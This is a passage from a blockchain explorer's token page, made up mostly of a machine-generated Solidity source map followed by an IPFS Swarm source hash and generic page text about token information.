3:9;27659:18;27651:26;;27723:9;27717:4;27713:20;27709:1;27698:9;27694:17;27687:47;27751:131;27877:4;27751:131;:::i;:::-;27743:139;;27470:419;;;:::o;27895:221::-;28035:34;28031:1;28023:6;28019:14;28012:58;28104:4;28099:2;28091:6;28087:15;28080:29;27895:221;:::o;28122:366::-;28264:3;28285:67;28349:2;28344:3;28285:67;:::i;:::-;28278:74;;28361:93;28450:3;28361:93;:::i;:::-;28479:2;28474:3;28470:12;28463:19;;28122:366;;;:::o;28494:419::-;28660:4;28698:2;28687:9;28683:18;28675:26;;28747:9;28741:4;28737:20;28733:1;28722:9;28718:17;28711:47;28775:131;28901:4;28775:131;:::i;:::-;28767:139;;28494:419;;;:::o;28919:180::-;29059:32;29055:1;29047:6;29043:14;29036:56;28919:180;:::o;29105:366::-;29247:3;29268:67;29332:2;29327:3;29268:67;:::i;:::-;29261:74;;29344:93;29433:3;29344:93;:::i;:::-;29462:2;29457:3;29453:12;29446:19;;29105:366;;;:::o;29477:419::-;29643:4;29681:2;29670:9;29666:18;29658:26;;29730:9;29724:4;29720:20;29716:1;29705:9;29701:17;29694:47;29758:131;29884:4;29758:131;:::i;:::-;29750:139;;29477:419;;;:::o;29902:178::-;30042:30;30038:1;30030:6;30026:14;30019:54;29902:178;:::o;30086:366::-;30228:3;30249:67;30313:2;30308:3;30249:67;:::i;:::-;30242:74;;30325:93;30414:3;30325:93;:::i;:::-;30443:2;30438:3;30434:12;30427:19;;30086:366;;;:::o;30458:419::-;30624:4;30662:2;30651:9;30647:18;30639:26;;30711:9;30705:4;30701:20;30697:1;30686:9;30682:17;30675:47;30739:131;30865:4;30739:131;:::i;:::-;30731:139;;30458:419;;;:::o;30883:172::-;31023:24;31019:1;31011:6;31007:14;31000:48;30883:172;:::o;31061:366::-;31203:3;31224:67;31288:2;31283:3;31224:67;:::i;:::-;31217:74;;31300:93;31389:3;31300:93;:::i;:::-;31418:2;31413:3;31409:12;31402:19;;31061:366;;;:::o;31433:419::-;31599:4;31637:2;31626:9;31622:18;31614:26;;31686:9;31680:4;31676:20;31672:1;31661:9;31657:17;31650:47;31714:131;31840:4;31714:131;:::i;:::-;31706:139;;31433:419;;;:::o;31858:240::-;31998:34;31994:1;31986:6;31982:14;31975:58;32067:23;32062:2;32054:6;32050:15;32043:48;31858:240;:::o;32104:366::-;32246:3;32267:67;32331:2;32326:3;32267:67;:::i;:::-;32260:74;;32343:93;32432:3;32343:93;:::i;:::-;32461:2;32456:3;32452:12;32445:19;;32104:366;;;:::o;32476:419::-;32642:4;32680:2;32669:9;32665:18;32657:26;;32729:9;32723:4;32719:20;32715:1;32704:9;32700:17;32693:47;32757:131;32883:4;32757:131;:::i;:::-;32749:139;;32476:419;;;:::o;32901:169::-;33041:21;33037:1;33029:6;33025:14;33018:45;32901:169;:::o;33076:366::-;33218:3;33239:67;33303:2;33298:3;33239:67;:::i;:::-;33232:74;;33315:93;33404:3;33315:93;:::i;:::-;33433:2;33428:3;33424:12;33417:19;;33076:366;;;:::o;33448:419::-;33614:4;33652:2;33641:9;33637:18;33629:26;;33701:9;33695:4;33691:20;33687:1;33676:9;33672:17;33665:47;33729:131;33855:4;33729:131;:::i;:::-;33721:139;;33448:419;;;:::o;33873:241::-;34013:34;34009:1;34001:6;33997:14;33990:58;34082:24;34077:2;34069:6;34065:15;34058:49;33873:241;:::o;34120:366::-;34262:3;34283:67;34347:2;34342:3;34283:67;:::i;:::-;34276:74;;34359:93;34448:3;34359:93;:::i;:::-;34477:2;34472:3;34468:12;34461:19;;34120:366;;;:::o;34492:419::-;34658:4;34696:2;34685:9;34681:18;34673:26;;34745:9;34739:4;34735:20;34731:1;34720:9;34716:17;34709:47;34773:131;34899:4;34773:131;:::i;:::-;34765:139;;34492:419;;;:::o;34917:194::-;34957:4;34977:20;34995:1;34977:20;:::i;:::-;34972:25;;35011:20;35029:1;35011:20;:::i;:::-;35006:25;;35055:1;35052;35048:9;35040:17;;35079:1;35073:4;35070:11;35067:37;;;35084:18;;:::i;:::-;35067:37;34917:194;;;;:::o;35117:224::-;35257:34;35253:1;35245:6;35241:14;35234:58;35326:7;35321:2;35313:6;35309:15;35302:32;35117:224;:::o;35347:366::-;35489:3;35510:67;35574:2;35569:3;35510:67;:::i;:::-;35503:74;;35586:93;35675:3;35586:93;:::i;:::-;35704:2;35699:3;35695:12;35688:19;;35347:366;;;:::o;35719:419::-;35885:4;35923:2;35912:9;35908:18;35900:26;;35972:9;35966:4;35962:20;35958:1;35947:9;35943:17;35936:47;36000:131;36126:4;36000:131;:::i;:::-;35992:139;;35719:419;;;:::o;36144:222::-;36284:34;36280:1;36272:6;36268:14;36261:58;36353:5;36348:2;36340:6;36336:15;36329:30;36144:222;:::o;36372:366::-;36514:3;36535:67;36599:2;36594:3;36535:67;:::i;:::-;36528:74;;36611:93;36700:3;36611:93;:::i;:::-;36729:2;36724:3;36720:12;36713:19;;36372:366;;;:::o;36744:419::-;36910:4;36948:2;36937:9;36933:18;36925:26;;36997:9;36991:4;36987:20;36983:1;36972:9;36968:17;36961:47;37025:131;37151:4;37025:131;:::i;:::-;37017:139;;36744:419;;;:::o;37169:225::-;37309:34;37305:1;37297:6;37293:14;37286:58;37378:8;37373:2;37365:6;37361:15;37354:33;37169:225;:::o;37400:366::-;37542:3;37563:67;37627:2;37622:3;37563:67;:::i;:::-;37556:74;;37639:93;37728:3;37639:93;:::i;:::-;37757:2;37752:3;37748:12;37741:19;;37400:366;;;:::o;37772:419::-;37938:4;37976:2;37965:9;37961:18;37953:26;;38025:9;38019:4;38015:20;38011:1;38000:9;37996:17;37989:47;38053:131;38179:4;38053:131;:::i;:::-;38045:139;;37772:419;;;:::o;38197:442::-;38346:4;38384:2;38373:9;38369:18;38361:26;;38397:71;38465:1;38454:9;38450:17;38441:6;38397:71;:::i;:::-;38478:72;38546:2;38535:9;38531:18;38522:6;38478:72;:::i;:::-;38560;38628:2;38617:9;38613:18;38604:6;38560:72;:::i;:::-;38197:442;;;;;;:::o;38645:147::-;38746:11;38783:3;38768:18;;38645:147;;;;:::o;38798:114::-;;:::o;38918:398::-;39077:3;39098:83;39179:1;39174:3;39098:83;:::i;:::-;39091:90;;39190:93;39279:3;39190:93;:::i;:::-;39308:1;39303:3;39299:11;39292:18;;38918:398;;;:::o;39322:379::-;39506:3;39528:147;39671:3;39528:147;:::i;:::-;39521:154;;39692:3;39685:10;;39322:379;;;:::o;39707:180::-;39755:77;39752:1;39745:88;39852:4;39849:1;39842:15;39876:4;39873:1;39866:15;39893:143;39950:5;39981:6;39975:13;39966:22;;39997:33;40024:5;39997:33;:::i;:::-;39893:143;;;;:::o;40042:351::-;40112:6;40161:2;40149:9;40140:7;40136:23;40132:32;40129:119;;;40167:79;;:::i;:::-;40129:119;40287:1;40312:64;40368:7;40359:6;40348:9;40344:22;40312:64;:::i;:::-;40302:74;;40258:128;40042:351;;;;:::o;40399:85::-;40444:7;40473:5;40462:16;;40399:85;;;:::o;40490:158::-;40548:9;40581:61;40599:42;40608:32;40634:5;40608:32;:::i;:::-;40599:42;:::i;:::-;40581:61;:::i;:::-;40568:74;;40490:158;;;:::o;40654:147::-;40749:45;40788:5;40749:45;:::i;:::-;40744:3;40737:58;40654:147;;:::o;40807:114::-;40874:6;40908:5;40902:12;40892:22;;40807:114;;;:::o;40927:184::-;41026:11;41060:6;41055:3;41048:19;41100:4;41095:3;41091:14;41076:29;;40927:184;;;;:::o;41117:132::-;41184:4;41207:3;41199:11;;41237:4;41232:3;41228:14;41220:22;;41117:132;;;:::o;41255:108::-;41332:24;41350:5;41332:24;:::i;:::-;41327:3;41320:37;41255:108;;:::o;41369:179::-;41438:10;41459:46;41501:3;41493:6;41459:46;:::i;:::-;41537:4;41532:3;41528:14;41514:28;;41369:179;;;;:::o;41554:113::-;41624:4;41656;41651:3;41647:14;41639:22;;41554:113;;;:::o;41703:732::-;41822:3;41851:54;41899:5;41851:54;:::i;:::-;41921:86;42000:6;41995:3;41921:86;:::i;:::-;41914:93;;42031:56;42081:5;42031:56;:::i;:::-;42110:7;42141:1;42126:284;42151:6;42148:1;42145:13;42126:284;;;42227:6;42221:13;42254:63;42313:3;42298:13;42254:63;:::i;:::-;42247:70;;42340:60;42393:6;42340:60;:::i;:::-;42330:70;;42186:224;42173:1;42170;42166:9;42161:14;;42126:284;;;42130:14;42426:3;42419:10;;41827:608;;;41703:732;;;;:::o;42441:831::-;42704:4;42742:3;42731:9;42727:19;42719:27;;42756:71;42824:1;42813:9;42809:17;42800:6;42756:71;:::i;:::-;42837:80;42913:2;42902:9;42898:18;42889:6;42837:80;:::i;:::-;42964:9;42958:4;42954:20;42949:2;42938:9;42934:18;42927:48;42992:108;43095:4;43086:6;42992:108;:::i;:::-;42984:116;;43110:72;43178:2;43167:9;43163:18;43154:6;43110:72;:::i;:::-;43192:73;43260:3;43249:9;43245:19;43236:6;43192:73;:::i;:::-;42441:831;;;;;;;;:::o;43278:807::-;43527:4;43565:3;43554:9;43550:19;43542:27;;43579:71;43647:1;43636:9;43632:17;43623:6;43579:71;:::i;:::-;43660:72;43728:2;43717:9;43713:18;43704:6;43660:72;:::i;:::-;43742:80;43818:2;43807:9;43803:18;43794:6;43742:80;:::i;:::-;43832;43908:2;43897:9;43893:18;43884:6;43832:80;:::i;:::-;43922:73;43990:3;43979:9;43975:19;43966:6;43922:73;:::i;:::-;44005;44073:3;44062:9;44058:19;44049:6;44005:73;:::i;:::-;43278:807;;;;;;;;;:::o;44091:143::-;44148:5;44179:6;44173:13;44164:22;;44195:33;44222:5;44195:33;:::i;:::-;44091:143;;;;:::o;44240:663::-;44328:6;44336;44344;44393:2;44381:9;44372:7;44368:23;44364:32;44361:119;;;44399:79;;:::i;:::-;44361:119;44519:1;44544:64;44600:7;44591:6;44580:9;44576:22;44544:64;:::i;:::-;44534:74;;44490:128;44657:2;44683:64;44739:7;44730:6;44719:9;44715:22;44683:64;:::i;:::-;44673:74;;44628:129;44796:2;44822:64;44878:7;44869:6;44858:9;44854:22;44822:64;:::i;:::-;44812:74;;44767:129;44240:663;;;;;:::o

Swarm Source

ipfs://109ee1c1a6546cf715da494ac9ed4c9b739a190ed988778bbc713e72f433b57f
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.